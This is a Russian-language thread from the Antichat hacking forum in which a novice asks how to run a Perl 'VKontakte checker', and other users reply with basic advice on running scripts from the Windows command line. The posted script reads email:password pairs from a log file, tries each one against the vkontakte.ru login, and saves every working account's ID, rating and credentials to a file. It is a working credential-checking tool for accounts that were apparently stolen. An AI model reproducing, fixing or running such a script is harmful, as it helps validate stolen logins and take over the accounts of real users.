Форум АНТИЧАТ - Помогите запустить VKontakte checker на PERL.

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)

- - Помогите запустить VKontakte checker на PERL. (https://forum.antichat.xyz/showthread.php?t=74747)

Помогите запустить VKontakte checker на PERL.

Вот сам скрипт:

Код:

#!/usr/bin/perl

# VKONTAKTE cheker

# Original author Xszz.AoH

# Modified by svesve

# tnx to a4at members who help me with perl ;-)

use strict;

use LWP::UserAgent;



use HTTP::Cookies;



open (FILE , '<logs.txt');

my @f = <FILE>;

chomp @f;

my $ua = LWP::UserAgent->new;

my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');

$ua->cookie_jar($cookies);

open (OUT , '>>IDS_rate.txt');

while (@f)

{

my ($mail, $pass) = split(/:/, shift(@f));



my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;

my $suc = $req =~ /302 Found/;

if ($suc )

{

$req = $ua->get('http://vkontakte.ru/index.php')->as_string;

my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt/;

my $idd=$2;

$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;

my $res = $1 if $req=~m/width:100px">(.{1,4})</;

print "[rate=$res]:[id=$idd]:$mail:$pass\n";

if (!$idd)

{

print "Account deleted \n";

}

print OUT $res.":".$idd.":".$mail.":".$pass."\n";

}

else{print"[-]bad login or password \n";}

}

close OUT;

close FILE;

Вроде все делаю так как надо, но когда нажимаю на скрипт он тут же закрывается, помогите плиз нубу!

Запусти через cmd, посмотри что пишет

Цитата:

Сообщение от NeOz

Запусти через cmd, посмотри что пишет

это как?

поподробней плиз и еси не трудно объясните плиз по понятней)

пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла

Цитата:

Сообщение от NeOz

пуск -> выполнить -> cmd
и там укажи путь до твоего .pl файла

я прописал а там пишет тип не является командой....

Ты Perl установил?

Цитата:

Сообщение от [Dezzter]

Ты Perl установил?

да, ActivePerl установил, у меня др скрипты на перле пашут, а этот открывается и тут же закрывается((((

епт, ты его через cmd открывай, не помню точно, но вроде так perl C:\Perl\bin Путь до скрипта, я просто с пёрлом пару раз дело имел, точно не помню как, ну пробуй

Цитата:

Сообщение от [Dezzter]

написал так: C:\Perl\bin\perl.exe нажал ентер и ничего не появилось